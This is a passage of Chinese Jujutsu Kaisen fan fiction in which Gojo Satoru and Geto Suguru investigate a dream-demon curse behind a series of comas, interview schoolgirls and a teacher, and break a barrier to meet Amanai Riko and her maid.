“嗷,夜蛾你这么用力拍老子干嘛?”
他不理会,对夏油杰说:“杰,你比他成熟稳重很多,麻烦你把这小子给我看好了,不要让他太过任性。”
*
两人匆匆赶到校门口时,辅助监督站在车外等着。
辅助监督微微驼背,镜片厚实。明明看面孔是个二三十岁的年轻人,经由社畜之道洗礼却有已未老先衰之兆。
“上车吧,五条君、夏油君,我是本次的辅助监督石田辉。”
五条悟仰躺到椅子上,半个屁*股悬在空中,闻言懒散问他:“另外那个石田跟你什么关系?”
石田辉呼吸一滞,手紧了紧方向盘:“五条君说的是石田彰先生吗,那是鄙人祖父。”
“真应了那个词——老的更壮实,他在橘子窝里也让你们端饭给他吃吗?”
辅助监督喉结滚了滚艰涩的说:“祖父言行无状,我代他向二位以及家人入小姐道歉。”
五条轻哼了一声,正欲反唇再讥却被夏油杰打断,“悟,任务要紧。”
五条悟闻言冷哼一声,没良心的优等生。
夏油杰卖乖的凑上去帮他揉了揉肩膀。
被朋友维护让他浑身暖洋洋的,但石田先生本身无辜又言辞诚恳,他们也还有事在身,不能把时间耗费到无谓的口角上。
“还要劳烦石田先生介绍一下这次的任务情报。”夏油杰礼貌道。
“往右一点,再重一点啦。”
夏油杰闻言破功,咬牙切齿地手指上移,指甲尖用力。
“呜啊!忘恩负义吗?”五条悟龇牙利嘴揉了揉,“老子肩膀一定青了。”
“哦,那咋了。”夏油杰面无表情,“石田先生?”
“好、好的,”石田辉收起目瞪口呆没见识的样子,清了清嗓子,“今年夏天新宿市出现大规模非自然昏迷事件。‘窗’派人前去侦查,受害者症状疑似夢魔所为。”
石田辉反手摸出几张资料递给他们。
五条悟一副被渣的样子,无精打采地捏着资料直接撇到一边:“夢魔是什么?老子只听过食梦貘。”
“不一样啦。简单来说食梦貘以梦为食比较温和,而夢魔则是通过梦境直接吸食*精气。”
石田辉粗犷的声线从前面传来:“夏油同学说的没错,夢魔会在看上眼的猎物身上打下独特标记,被标记者往往有着近期情绪起伏过度的共同点。”
夏油杰边仔细研读边对五条悟说:“作为咒术师只有努力掌握任务情报才能快准狠的解决诅咒,你倒是认真看看啊。”
“啊啦,这不是还有你吗,你知道和老子知道有什么区别吗?”
夏油杰闻言不再劝他,片刻后他皱眉道:“受害者两级分化,部分确实像是夢魔所为——陷入昏迷后异常虚弱,日渐消瘦,神经衰竭,器官病变,出现死亡。但全是儿童的另一部分,昏迷不醒但生命体征平稳……”
石田辉:“这也正是‘窗’不解所在。所以才在情报上着重标记了‘疑似’二字。”
“难道夢魔只攻击大人?这个传说不太一样。”
五条悟不在乎的说:“咒灵都是些没主见的玩意,传成什么样就成什么样。遇到了还不是被老子一炮轰掉”
夏油杰笑了:“也是,我们去看看就知道了。”
*
车停在了新宿中心仁心医院的门口,昏迷的受害者被聚集在这里。
夏油杰不禁感叹咒术界的权力和能量——三位女士、一位男士以及三个孩子,他们来自于不同的市区,说服他们的家属将他们聚拢可不是一件易事。
“要麻烦您了,渡边医生。”石田带着他们直奔三楼这间办公室,“我来介绍一下,这是五条悟和夏油杰,本次事件的负责人。”
他又面向五条悟和夏油杰:“这是渡边医生,受害人的主治医生。”
石田凛看出夏油杰的惊讶凑到他耳边低声道:“受害者因为咒灵昏迷渐渐虚弱,短时间之内不会有生命危险。为了比较观察,便全部聚集到渡边医生手下了。”
穿白大褂的女医边眼下挂着浓重的青黑,她推了推镜框止又欲言:“这两位…还没成年吧,唯二的负责人竟然都是孩子。你们咒术界雇佣童工的现象也
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太严重了。”
医生当久了,渡边轻柔的声线里透着一股不怒自威的威势,言辞中满是谴责。
石田辉只好讪讪干笑,夏油杰则一下子对这位医生有了好感。
渡边医生转念说起正事,作为主治医生,除了家属最希望病人好起来的当属她了。
“七位患者中最早入院的中村女士已于两周前经抢救无效身亡,我们对于这种情况没有良好有效的医治手段,只能靠医疗器械以及每日输送营养液维持生命体征,尽力延长患者寿命。”
渡边医生声音低沉,将他们引到401病房。
“唔!不,不好意思!”
撞到夏油杰的男人道了声歉,快步低头跑走。
“那是高桥镇的父亲,”渡边医生神色复杂,“高桥镇是送来的患者之一,他的母亲是我们医院的护士,在儿子入院后申调到这个科室,不久前因为身体原因才不得以回家修养。照顾孩子的人就变成了父亲,他总是手忙脚乱匆匆忙忙的。”
夏油杰看着男人的油腻的头发,凌乱的步伐,有些狼狈的身影有些难过。
妻子身体不好在家修养,孩子原因不明面临生死危机,他奔波在医院家庭与工作,像是浸在水里的棉被,沉重又潮湿。
渡边带他们进了病房,病房面积宽大却并不空旷,各种金属仪器横陈在这里。
“这是田中美子与石川佳子,她们是一同被送往医院的。之后是小岛由太、高桥镇、藤原诚、与清水三。”
夏油杰凑近查看,所有受害者呈左右两列排开,除伊藤诚外,其余受害者的嘴角一直抽搐,像被无形的傀儡丝线缝合吊起,咧着夸张的笑容。
如果夢魔的筛选机制只是情绪起伏的大人,那么高桥镇是怎么回事。
夏油杰看向狞笑的小男孩,他身形细瘦伶仃,与酣然入梦的伊藤诚完全不同,等等——
他看向他身边的空床:“小岛由纪去哪了?”
渡边医生:“他是七人中唯一苏醒的,上周一醒便被父母匆匆接出院了。”
夏油杰皱眉:“马上出院?按常理来说为了评估身体状况,及时干预病情不是会留院多观察几天吗?”
“我们确实是这么劝了,”渡边医生颇为无奈,“但他的父母非常坚决,坚持当天带他出院。”
“作为一个成年人,这么说属实窝囊……”她看着身旁的患者犹豫了一会。
田中美子和石川佳子躺就在那里。
她们两个是女高中生,手上带着同款的朱砂手钏,像是从寺庙祈福所得。少女们脸色发青,两颊深深凹陷的躺在那里,凸出大大的眼眶极为的嶙峋。
“我请求你们加快速度,她们还这么的年轻。”
“还请放心,我们一定会捷尽所能的。”夏油杰认真的说。
“悟,你能看出些什么吗?”
五条悟从医院护士的排班表上移开视线环视一圈:“他们身上有两种咒力痕迹,虽然很相似但瞒不过老子的六眼。”
白发少年依次伸出食指与中指:“其一是田中美子和石川佳子,她们是一种;其二是伊藤诚;高桥镇与清水三身上的是合成体,前者的占比更大。”
“从这——”,说完五条悟走到窗台边,比划它到空床的距离,“到这。时间太久,只有这里的咒力残秽可以勉强辨别了。看浓度大约是一周前留下的,与田中美子、石田佳子身上是同一股。”
一周前?
夏油杰一顿,这个小岛由纪绝对有问题!
11. 天内理子
“小岛家啊,他们一周前已经搬走了。”
“那您知道他们的去向吗?”夏油杰礼貌问着小岛宅的邻居。
老人摊手道:“他们没打招呼突然之间就搬走了,等我知道的时候已经人走楼空了。”
夏油杰不死心:“那您有,或者您知道谁有他们一家的联系方式吗?”
虽然小岛由纪一家的行踪凭咒术界的力量能够追踪,但也需要时间,而现在时间是他们最紧缺的东西。
老人转身回屋,拿出一个电话簿翻到某一页,指着那道被划掉的电话号码说:“我之前担心他们遇到了啥解决不了的事想打过去问问,最开始提示一直占线,后面再拨就是空号了。”
提到这里老人嘴角拉低有些怨气:“亏他们崽进医院我还帮他们照顾来着,真是的,都是些什么人啊。”
夏油杰别过老人,拉着旁边百无聊赖的五条悟向车走去。
两人据从渡边医生那里得来的线索急匆匆赶往小岛家,却没成想撞了一头空。
“苏醒便急不可耐的接走小岛由纪甚至不等观察和恢复,后面更是举家搬迁,小岛家究竟在隐瞒什么。”夏油杰眉头紧锁,对此有些摸不着头脑。
小岛一家都只是普通人而已,按常理,由咒灵造成的案件他们应该只是纯然的受害者,没可能……
“只是个倒霉蛋而已,”五条悟单手插兜,“除此之外他们可和咒灵扯不上一点关系。”
“你怎么知道我在想什么?”
“很难猜吗?”五条悟歪了歪头,“由小鸟家的异常联想到事件的罪魁祸首是你这个优等生的思维模式吧。”
小鸟……
夏油杰懒得纠正称呼,转而问道:“这么肯定?”
五条悟扬了扬下巴:“还记得渡边医生说的那个护士吗?”
“你是说……高桥镇的母亲?”
“渡边说那个护士因为担心儿子申调,后来伤心过渡不得已回家修养。墙上挂着的护士排班表上,那个护士名字最后出现的位置是小鸟出院那天。”
夏油杰愕然睁大了眼睛。
五条悟神情平静的往前走:“有时候人类可是比咒灵难以捉摸一千一万倍的存在啊。”
夏油杰呼吸微顿。
……这句话他是赞同的。
*
两个人坐在前往下一个调查点的车里。五条悟趴在车沿对车窗哈气,乐此不疲的画着自己的肖像。
夏油杰见此深深呼出一口气,将绷紧的心弦微松。
他伸出食指,在五条悟的Q般肖像上抹出两只猫耳。指尖微顿,又在左右各补上了三根猫胡须。
五条·球球·悟,get!
“好你个优等生,你竟然在心里猫化老子!”五条悟瞪大了眼睛。
夏油杰理所当然:“都是朋友了,接你的外形人化一下球球有什么关系。”
五条悟警惕的眯眼看着他:“球球?那是个什么东西?”
“啊,”夏油杰翻出一张照片向他展示。照片上的布偶猫半阖猫瞳挠着耳朵,与此时的五条悟相对,更显神似。
“哈?!”五条悟勾手绞上去,“一只破猫而已,和老子那里像啊?”
夏油杰使劲把他的手往外掰:“球球那天做绝育的时候和你现在一模一样。”
“啊啊啊啊啊啊啊!”
“快放手啊,夏油同学要死了!”
*
车到廉直女子学院时,车窗上已经多了一只翻白眼呕吐的狐狸杰,狐狸杰旁边的猫咪悟带着皇冠雄赳赳气昂昂的挺着猫脯。
“美子和佳子都是很好很让人放心的孩子,我没想到会……”
石川美子和田中佳子的老师新出谈及此肩膀微颤,捂面低低抽泣起来。
夏油杰弯腰递给她一张纸,温声询问:“在她们出事的时期发生过什么特别的事吗?”
女老师抽噎两声,擤了擤鼻涕才回道:“特别的事?国学课她们突然互相推搡算吗?虽然她们平时关系很好,但询问过后她们统一说这是在闹着玩,我便没有再深究了……你们知道的,偶尔闹矛盾在这个年纪的孩子们之间再常见不过了。”
“还有别的吗,更细节的事。”
“抱歉,我的班上有四十几位同学,我没办法时刻关注每一位。我把她们的朋友叫过来吧,那天是她打电话将美子送去的医院。”
新出老师有些为难的压了压眉毛,起身离开办公室。
窗外风声大作,大树雨伞般聚拢的叶子猝然间互相埋怨你死我活的激烈相撞。上一刻互相依偎,这一刻却反目成仇。
天色忽暗,五条悟瑰丽的眼睛转向长廊。
女老师面色发冷走在前面帮学生挡着风,被领着的少女身形单薄衣着清减,埋着头一步一趋跟在后面。
离近办公室的时候,老师顿下了步子。她笑着转头温柔靠近,轻柔的将学生将被风扶到面上的碎发别到耳后。
五条悟沉静的眨了眨眼,收回目光。
“各位,这是宫园音同学。是美子和佳子的好朋友,对她们的事比较清楚。”
新出老师转过身,拍了拍有些内向的女学生的肩:“音,这是来调查的专业人员。你别害怕,他们问什么你如实详细作答就好。”
宫园音闻言点头,怯怯看了他们一眼又绞着手指埋下头。
“别害怕,我们不吃人。”夏油杰柔声舒缓她的情绪。
“佳子和美子,她们现在怎么样了?”宫园音眼眶泛红激动问道。
两位好友出事后她便一直忧心忡忡,却因为自己是寄宿生没办法离校,只能从别人口中获悉好友消息的只言片语。
夏油杰看着她的眼睛认真道:“……有我们在,会没事的,但我们需要你的帮助。”
宫园音怔了一会儿,用力点头。
“宫园同学,石川和田中同学之间发生了什么?”
“她们之间吵了一架,引线是那天考试成绩出来……”
“喂,美子、音,学校旁边新开了一家寿喜锅,我们一起去吃吧。吃完还可以去书店逛逛新买套卷子。”田中美子低头收拾着书包。
宫园音将最后一行课文抄完才放下笔:“可以啊,不过为什么理子不和我们一起?每天放学她就匆匆独自回家了。”
“理子说自己家规严格,不让她在外面吃饭啦。但我也有些弄不懂,说管的严吧,又一点不在意她的分数。不像我,一点也不敢松懈,被夸多了总怕别人失望。真希望那种言辞可以少点啊!”
宫园音习惯性的附和安慰。石川佳子将试卷与书依次叠好,冷着脸一声不吭。
“佳子?怎么不说话,心情不好吗?”
见石川佳子不吭声,美子略带疑惑唤道。
佳子沉着脸,背上书包夺门而出。被猛地拉开的门撞向墙壁,震的墙灰簌簌而下。
“佳子——”
美子怔愣怔一下,飞速追上去。
“到底发生了什么?”
她坠在后面苦追,佳子埋头前奔。美子终于忍不住拽住对方的书包肩带——
砰!
佳子直接把被拽住的书包扯下丢在地上!
“你很得意吧?”
“什、什么?!”
美子一脸愕然。
“考了第一有什么了不起,是人人夸赞的优等生又怎么样?”石田佳子猛的抬起头,“不过是一个洋洋得意却地位低劣的人罢了。”
“你在说什么啊佳子!”美子不可置信的睁大眼睛,声音发颤。
石川佳子咬唇大吼:“你不过是摆摊小贩的女儿,你什么课外辅导都上不起凭什么考得比我高?!”
“老师偏爱你!朋友们总先想着你!就连爸爸、就连爸爸都夸赞你!!”
“凭什么?!明明、我明明已经很努力了,凭什么得不到认可?!”
“你一直是这么想的吗?我在你心里是一个低贱的小贩的女儿?!”
眼泪夺眶而出,美子咬牙执拗的盯着她,眼神如刀,似乎想从全身竖满尖刺的少女身上盯开一道裂缝。
“没错!”
她失败了。
石川佳子的眼睛被埋在厚厚的刘海下毫无破绽,她挥手嘶叫。
“是我给你补习让你的成绩够上分数线!是我资助你让你能够进入这所学校读书!”
石川佳子吼的嗓子劈叉,声色暗哑。她氧气不足酿跄几步急喘着。
走廊气流被寸寸冰封,风呼啸着吹的靠窗的书本哗啦啦的翻,却吹不散凝固的气氛,反而
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带的走廊气压更低。
匆匆追上的宫园音急喘着顺气,听见争吵的她满脸茫然,手足无措。
石川佳子反而状似拾掇好了情绪,低头捡起书包平静的说:“你知道吗,我真的非常非常讨厌你!我尤其讨厌你每次得了褒奖时虚伪推脱却酷爱炫耀的嘴脸!”
“……这就是最开始了。”宫园音说,“从那以后她们两个一直在冷战。”
五条悟从新出老师桌上随手摸了科玻璃糖抛着玩:“她们最近有没有做梦?”
“是的!”宫园音突然向前两步,“美子吵完架后一直精神不好,总是坐着坐着不吭声突然哭出来。上早课也很难叫醒,但我以为那只是心情低落到爱做噩梦而已!没想到……”
“没想到突然有一天她再也叫不醒了。”五条悟揉着玻璃糖纸发出窸窸窣窣的脆鸣。
“悟。”夏油杰用胳膊撞了下同期,示意他不要再发出噪音,转头露出温和的笑,“能带我们去案发地点看看吗?”
*
“我和美子、佳子是同寝室的,佳子在学校外面租了房子只是偶尔晚上住在寝室。自从她们吵架后便没有在这里留居过了。”
五条悟摘下墨镜在寝室兜转:“你知道同一天晚上石川佳子也被送去医院了吗?”
“嗯,第二天她也没来上学,我就问了老师。”女学生低沉的回答。
她嘴唇嗫嚅了几下道:“其实……我很早之前就猜到她们总有一天会大吵一架。”
新出老师皱眉道:“迟早?宫园同学为什么没有告诉老师。”
宫园音低泣哽咽道;“对不起…对不起!如果早知道吵架的后过这么严重我一定会想办法制止!”
“宫园同学为什么这么说?”夏油杰疑惑道。
“廉直女子学院虽是宗教类学校但升学率一直很好,再加上全女子机制致使学校直接规避了很多乱像,所以每年的学费不是一笔小数目。美子的家境一般一直非常用功,就是为了争取学校的全额奖学金。可即便如此她也靠佳子资助了很大一部分。”
宫园音噎噎咽咽偶尔打嗝导致声音并不流畅,五条悟不耐烦的说:“可以不要在哭了吗,老子的时间很宝贵啊!”
“这位同学,你说话礼貌点!”新出老师冷脸看着他。
“悟,有点过分了!”夏油杰扯了扯他的衣袖。
“这就过分了?”五条悟不屑的切了一声,“难道老子说错了,时间不宝贵?还是你这个优等生自己答应的医生呢!”
“……”
夏油杰无言以对。
“没、没关系。”宫园音缓和一下接着说。
“因为这个原因,美子总觉得在佳子面前低人一等,她总是和我私下里说违背自己的意愿迎合对方让她非常疲倦。也正式因为这一点,美子一但被夸奖总爱拿到佳子面前说这种恭维让她觉得苦恼。”
夏油杰若有所思:“因为觉得低人一等,所以更依赖于通过其他行为获取优越感充足自信心吗?”
“可能是吧。”宫园音道,“而佳子的爸爸对她非常严格,她需要很努力才能勉强达到目标获得认可。自从上到高中后再也没有拿到第一的她总是被拿来和美子作比,这让她的心理压力非常大。”
五条悟嘎吱嘎吱嚼着糖:“呐,被压抑久了再被刺激直接爆发了啊。”
石田辉说:“那现在我们怎么追踪呢?五条同学能看出什么吗?”
五条悟双手插在脑后淡定的说:“确实有残秽,但隔得太久比过期的大福还寡淡。话说,这个案件为什么被搁置到现在,调查难度直接翻了几倍啊。”
石田辉干笑道:“夏天嘛……这个案子属于慢性伤人,爆烈的任务太多了,咒术师的人手又实在有限,便一直往后排……拖到现在。”
听到前来的负责人没有追踪方向,宫园音手指揪着裙角,指甲隔着布料在掌心压出深深的白痕:“是理子!怪物一定是天内理子引出来的!一定是她嫉妒我们三人之间的关系,所以才引来怪物害了她们!”
“音!”新出老师眉头紧锁。
“我绝不是在大放厥词!”宫园音咬牙吼道,“天内理子是个怪物!怪物才会引来怪物!否则她怎么会那么巧在美子佳子吵架不久后请长假,这不是心虚是什么!”
12. 星浆体
空调出风口簌簌响着,暖气拽着窗帘狂舞,室内的热气反而戛然止断。
“话说,”五条悟忽然弯腰到与女生视线平齐的高度,半露出的苍瞳冷然审视她,“她也是你的好朋友吧,‘怪物’…”
结霜的空气被他呼出的热气融化,但他吐*出的字句却未能让室温回暖。
五条悟把玩着那两个字:“原来你是这样称呼自己的朋友吗?”
宫园音酿跄着后退几步,躲到新出老师身后,女老师反手摸着她的头,不退不避站在原地。
夏油杰压低唇角,心情复杂。他不想让一位女士感到难堪,尤其是一位心受煎熬的女士。
他低垂眸子,轻轻将五条悟往后带了带。
“宫园同学或许只是关系则乱,但有些话是不能丢到别人身上的。尤其这话不能来自朋友。”
夏油杰的腔调冷淡了些,难见先前的温和。
怪物……
没人比他更熟悉这两个字眼——可恶、可憎、充斥排挤与恐惧的。
“额……”辅助监督吞了吞口水,有些尴尬的打破沉闷,“接下来怎么办,去其他案发现场还是先调查一番天内理子?”
夏油杰扶了扶下巴:“先去天内同学家调查一下吧。还要麻烦新出老师提供一下她的住址信息了。”
五条悟不耐烦道:“你不会真信了那些鬼话吧?”
夏油杰解释:“医院的残秽是一周前留下的,也是间隔时间最短的,但我们任然无法从中获得更多线索。其余案发现场的遗留时间只会更长,我们估计也很难有所收获。不如先去天内家看看,说不定有以外之喜呢。”
“随便你啦。”
五条悟把窗户拉大,朝外扬了扬下巴。夏油杰会心的放出虹龙。
“坐骑一号老子已经坐腻了,快把二号放出来。”
夏油杰看着握住龙角左右摇晃龙头的搭档扶额叹息。
勉为其难包容一下正处在中二之魂欲燃愈烈的年纪里的搭档好了。
他挥手收回虹龙,点足跃出窗外,身下浮出一只通体漆黑,柔软轻盈的魔鬼鱼。魔鬼鱼载着他几息之间便飞出老远。
五条悟眼疾手快,跳起抓住鱼长长圆圆的尾巴,被吊着飞了一会,尽兴后手脚并用爬上鱼身。
“五条同学,夏油同学,等……”石田辉半个身子趴出窗外挥着尔康手,整个人可怜弱小又无助。
待到两个少年的背影连黑点也不是后,他扶了扶眼睛尴尬的转回来。
几人大眼瞪小眼,室内静默一会,两个成年人开始发挥成年人应有的职场情商。
新出老师笑眯眯:“两个同学真是英雄少年,石田先生留下相必也是被委以重任了。”
石田辉挂着职业微笑:“对啊,那两个孩子虽然能力强大但偶尔也莽莽撞撞的。只能我一个人去其他现场调查一番了。”
*
大阪,城郊某座小山下的村落。
“找到了,终于找到了!小镇有救了,有救了!”
女人喉咙里挤出沙哑的笑,浑浊爬满血丝的眼球从面上油腻的发丝中漏出,在眼眶震颤转动的缓慢又呆滞。
“呜啊啊啊啊,妈妈,我害怕!”
木门被敲响了。
起初是“咚、咚”的叩击,渐渐变成指甲剐蹭木头的“咯吱”声,最后木门开始疯狂震动,门外的人开始死命摇门,撞门!
突然,一切戛然而止,寂静回到这里。
“老公,她,她走了吗?”小岛夫人颤抖的问。
小岛先生咽了口唾沫,满脸冷汗的拎着木棍护在妻子身前。
“我去看看猫眼……”
“哗啦!”
窗户骤然破裂,碎片噼里啪啦飞溅一地。
女人艰难的翻过来跨坐在窗棂上,歪头笑着,缓缓道:“hello?”
*
两个少年对着地图已经飞出很远,此刻还在空中漫游。
“喂,你要是研究不明白就让老子来!”五条悟把脸靠在夏油杰背上,双手懒散的搭在盘起的大腿。他往下滑之时脸也被对方的背推出软乎乎的肉来。
夏油杰一边看地图一边探身往地面望,没办法——所谓的地图不过是新出老师根据记忆和地标建筑赶制出来的。
更不巧的是,新出老师作为一个学校人尽皆知的画渣,她的‘大作’也走的是自由抽象派,是要靠灵魂认图的程度。
夏油杰一张苦瓜脸,闻言反手拽住五条悟的衣领把他半提起,将地图甩到对方怀里又把猫按回原位。
全程面无表情目视前方——真正的高手从不回头,熟练的铲屎官也从不用眼才能料理猫咪。
要通过歪歪扭扭相互越界的线条,标注迂回错乱的建筑,在偌大的东京找到一个女学生的住址——这比灵魂认人难多了吧!
夏油杰扑克脸破功,面容狰狞的扭在一起——西八,毁灭吧!
五条悟揉了揉被蹭红的脸肉,将地图摊开在腿上后,又乖乖将头埋回去到处蹭,蹭到一个舒服的位置才停下来。
“喂,你为什么要去天内理子家里?”五条悟指挥了一会突然冷不丁的问。
“宫园音是一个感知很敏锐的人,事关生死,她不会在我们面前无的放矢,说不定真如她所言,这件事和天内理子有关。”
五条悟头顶了顶,一下一下的撞他的背:“骗人的怪刘海。”
……
看来要锻炼一下了啊,要不然自己总是瞒不过他。
夏油杰单手撑脸无奈回他:“‘怪物’这种词用来形容人终归不好吧。”
五条悟:“所以呢?”
夏油杰看着要死不死还剩一口气的太阳:“她可能会是我们的同类哦。”
“so?就算她也是个咒术师,和你有什么关系?”
夏油杰半侧过身去搓了搓毛茸茸的脑袋:“如果是同类,就要把她迎回族群,不能再让她流浪了。”
“‘怪物’其实已经是很温和的控诉了,这种温柔的排挤连我都用了很久很久去理解、原谅、释怀,如果天内同样如此,她会很难过的吧。”
“真傲慢啊。”五条悟扯了扯他的刘海,在余晖下潋滟的眼睛像可以窥破一切的上帝之眼,“因为自己花了很多心力与时间才能克服,就觉得别人很难挺过去的优等生是个自大狂哦。”
“哈?”夏油杰将刘海甩出对方的掌心,就算自己的刘海是个鱼钩,他也不想钓只猫上来。
“你这个没点自知之明的大少爷还有脸说别人是自大狂吗?”
“老子又没说老子不是。”五条悟眨巴着大大的猫眼,理智气壮的口气愣是莫名让夏油杰瞧出一丝委屈来。
他哽了一下,果然真诚就是必杀技吗?
“我是由夜蛾老师领回的,”夏油杰转回去,向出身咒术豪门的大少爷闷声简单解释起平民咒术师的境遇。
“在普通人中长大的术士会被指点,甚至偶尔被当做苦厄灾难的源头,没有人拉一把很容易自我迷失。”
五条悟歪歪脑袋往前凑,看着对方在夕阳映照下温柔泛旧的眉眼。
“所以你被夜蛾拉了一把,现在想效仿他拉一把天内理子?”
“算是吧。至少夜蛾老师让我离‘世界’更近了点,而且说她可能有线索我是认真的。”
夏油杰说:“咒灵会优先攻击能够看见的咒术师,如果她能够‘看见’,那多多少少会知道些普通人不知道的。”
五条悟轻点地图,摩挲着一个圆点。
白发少年突然抬头,背部没了支持点的黑发少年身形晃动:“杰,停下!”
魔鬼鱼急刹掀起一阵暖风,夏油杰还不够长只能半挽起的发彻底散开。
“悟?”
夏油杰刚要开口却止了声——五条悟摘下墨镜,瑰丽的蓝瞳流转盯着前方。
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“难怪饶了几圈到地图上标记的地点却找不到。”五条悟伸手描摹虚空,“半径三十米的球形结界,认知干扰与咒力隔绝双重效果。”
夏油杰皱眉:“结界?我怎么看不到。”
结界这种东西,即便他没有六眼,也不该无知无觉才对。
“啊,是透明的,还在前面啦。”
夏油杰召出咒灵侦查:“不论过几次都觉得,悟有一双好眼睛。啊,找到了。”
奇怪的优等生!
太奇怪了吧!
“我哪里奇怪啊?”操纵着魔鬼鱼向侦查到的地方前进的黑发少年纳闷道。
“我竟然说出来了?!”五条悟捂嘴撇头,一副不可置信的样子。
“……你也没想憋着啊。”
“可恶,被眯眯眼怪刘海被发现了!”
“我现在没空揍你!”五条悟活泼到欠揍的声音令夏油杰捏紧拳头,黑发少年一脚踹过去。
“我躲!”五条悟妖娆扭腰避开,“小心眼的怪刘海!”
夏油杰左右搏击,五条悟左躲右躲最后抓着对他的肩膀华丽转到对方身后。
夏油杰:“已经到了,快给我下去啊!”
*
“整座山都被套上了隐形斗篷呢。”
“更正~而且是两层厚厚的保鲜膜哦”,五条悟兴味的颔首,拉低墨镜,“夢魔的咒力残秽……左边有薄弱点,像是被牙签扎住的果冻,稍微用力就可以捅破。”
夏油杰顺着他的指尖,弯腰仔细观察咒力波动:“两层,真是谨慎啊。这么大范围的结界,至少是准一级咒术师的手笔。”
“确实啦,不过先是结界范围太大,施展的人咒力不足,后有夢魔追击,现在这里有个现成的漏洞~”
夏油杰看着搭档把苍压成细细的蓝色:“你不会是想……”
“准备——发射!”
嗡的一声,像是钢尺轻弹发出的震动。细微的动静转瞬把结界打成裂纹弥漫的玻璃。
夏油杰的虹龙几乎瞬间撞出,双重冲击之下,透明的屏障炸成满天星屑。
五条悟抓住他的手冲进正在愈合的缺口。
夏油杰起身拍了拍裤脚的草屑:“下次可不可以用优雅一点的方式……”
“变态啊!”
耳后传来风声,夏油杰偏开躲开凶器——是一把喷壶。
五条悟伸手接住飞溅的血红水珠:“哇~是朱砂水,小姐你很懂驱魔嘛~”
扎着麻花辫的少女见一击不成转身就跑:“黑井,家里进变态辣!”
“理子小姐!”身穿黑色女仆装的女性从和室冲出,扬手撒出数张符纸。
“等等,我们不是……”夏油杰欲要召唤咒灵防御,却见符纸飘向庭院四角——正在加固方才愈合的结界。
五条悟趁机凑近摆出防御姿态的少女:“这股气息——你被夢魔盯上了吧?”
“你怎么知道?!”天内理子猛的向后窜了几步。
“小姐,他是五条家的六眼。”黑井闻声冲出见到来人后反而放松一些。
那双华美瑰异宛若天空延展般的眸子,她还是有所耳闻的。拥有它的人,除了传说中的六眼神子不做他想。
黑井美里:“两位是被派来祓除夢魔的吧。”
夏油杰注意到少女突然僵住:“看来我们找对人了。天内小姐,能说说夢魔的事吗?”
少女躲到女仆身后:“你们真是咒术师?”
五条悟把脸怼到对方面前:“比真金还金~不然怎么突破天元的结界?”
这句话像暂停键,黑井美里手中的扫帚重重落地。天内理子脸色瞬间惨败。
夏油杰敏锐察觉:“她们的结界不是依赖于符纸吗,为什么会有天元大人的结界?”
“他们违约了!”少女颤*抖着抓住女仆衣袖,“黑井,这和说的不一样!不是答应我星浆……唔!”
13. 傲娇鬼五条悟
“两层啦,两层啦。有一层屏蔽与加固是依托天元设下。”五条悟晃晃手指解释道。
他转而问道:“星浆体?这是什么东东?”
黑井美里捂嘴的动作慢了一拍,被凑的极近的他听的完全。
“你知道吗?”
五条悟和夏油杰你看我我瞅你,面面相觑。
“一听就是中二病犯了吧。”夏油杰不动神色瞟了一眼紧张的二人,“你都不知道,怎么指望我懂?你不是世家大少吗?”
星浆体三字让夏油杰莫名的耳熟,可看两人紧张的架势,他还是按下了追问的心思。
五条悟双手背在脑后理直气壮:“都是些无聊的水课,谁听啊~”
“……总之,请二位屋里详谈吧。”
*
“请用茶。”天内理子将瓷杯重重搁在五条悟面前,溅出的沸水冒着恼怒的热气。
五条悟盘腿懒散坐着,墨镜后的眼睛扫过少女颤抖的膝盖:“你家榻榻米长刺了?”
“无礼之徒!”少女将本就绷紧的后背挺得更直,几乎要仰倒在地,“竟胆敢质疑妾身!”
夏油杰看着对方翘起,随音调高低上下晃动的刘海,默默把“坐垫坐反了”的提示咽回去。
黑井美里端着和果子进来时,便见自家小姐气势汹汹,两位少年则旁若无人地聊着手机壁纸。
五条悟收回手机,将墨镜箍在头顶,六眼扫过贴满符纸的内室:“比地铁线还要复杂的防御,大婶你很会叠buff嘛。”
“没办法,”黑井放下盘子跪坐一旁,擦试溅出的茶水,“理子小姐成为夢魔的目标,我的咒力一般又没有术式,想要充分保障理子小姐的安全需要依靠外力。这种结界由……”
“停停停——”白发少年摸了个和果子,“比起结界的原理,我更好奇星浆体是什么。”
读不懂空气的家伙……
夏油杰无奈道:“别理他,我们想知道理子妹妹怎么招惹到夢魔的?”
天内理子故作镇定的啜饮一口茶水,放下时瓷杯在碟子上撞出脆响。
五条悟撇了撇她的手腕,嚼吧嚼吧含糊道:“朱砂手串?”
“这个?”天内理子闻言拨弄着绯红的珠串,“这是妾身与友人在焚松祭时去八幡宫求得护佑平安的圣物。”
手串……
这下夏油杰也想到了什么。
他不动声色的说:“你们四个人关系不错嘛,宫园同学手上也有一串呢。”
“音?”天内理子音调微高语气奇怪,“你看错了吧,只有美子、佳子与妾身拥有,去年祈福的时候音还不是我们的同学。”
夏油杰面上笑眯眯:“可能都是红色,所以误认了吧。”
天内理子没有放在心上:“学校怎么样了,美子和佳子和好了吗?”
“她们……”
“她们两个早就和好了。”夏油杰飞速打断五条悟,惹得对方翻了个大大的白眼。
“那就好!”少女微松脊背舒了一口气,又突然警觉瞟了他们一眼清了清嗓昂头挺胸,“说吧,两位愚者有何要事求到妾身身前,妾身勉为其难必应汝之要求。”
“所以夢魔长什么样?三头六臂?长鼻大耳?”
这家伙串台了吧……
夏油杰默默端起杯子,舌尖尝到滚烫的开水时狰狞一秒,为了自己的逼格,又立刻状似淡定的吞下。
天内理子手中的茶勺“当啷”碰到杯壁上:“那日黄昏,逢魔时刻,妾身窥见通往比良坂的缝隙!”
她猛的站起挥舞手臂,声音激昂:“青面长舌,锐爪獠牙!没有眼球黑洞洞的眼眶,黑雾锁链化的披帛!恍若三途川畔蓦然临世的伊邪那美女神!”
少女捂住胸口,瞪大眼睛,面容夸张的摆出一副惊恐的模样。
“演出永远不会结束~这瞬间将永远定格~”
“sorry,sorry”,夏油杰淡定摁下手机按键,“是骚扰电话,还请不要在意,继续就好。”
“明明是你自己放的吧!”
“啊~被发现了!还请回到正题,您请假是因为……”
天内理子气呼呼的跳起,像蹦起的达摩撞回座位:“怕牵连到朋友啦。你知道的吧,没有能力却看得到的人被称之为‘麻烦制造机’一点也不为过,我们会给身边的人带来危险。”
夏油杰看着搅弄茶水的少女,声音柔和:“夢魔作为精神攻击的咒灵,被盯上的皆是心绪起伏巨大的人。它尤爱难过、悲伤、愤怒等负面情绪,所以理子妹妹是因为''看见''所以闷闷不乐吗?”
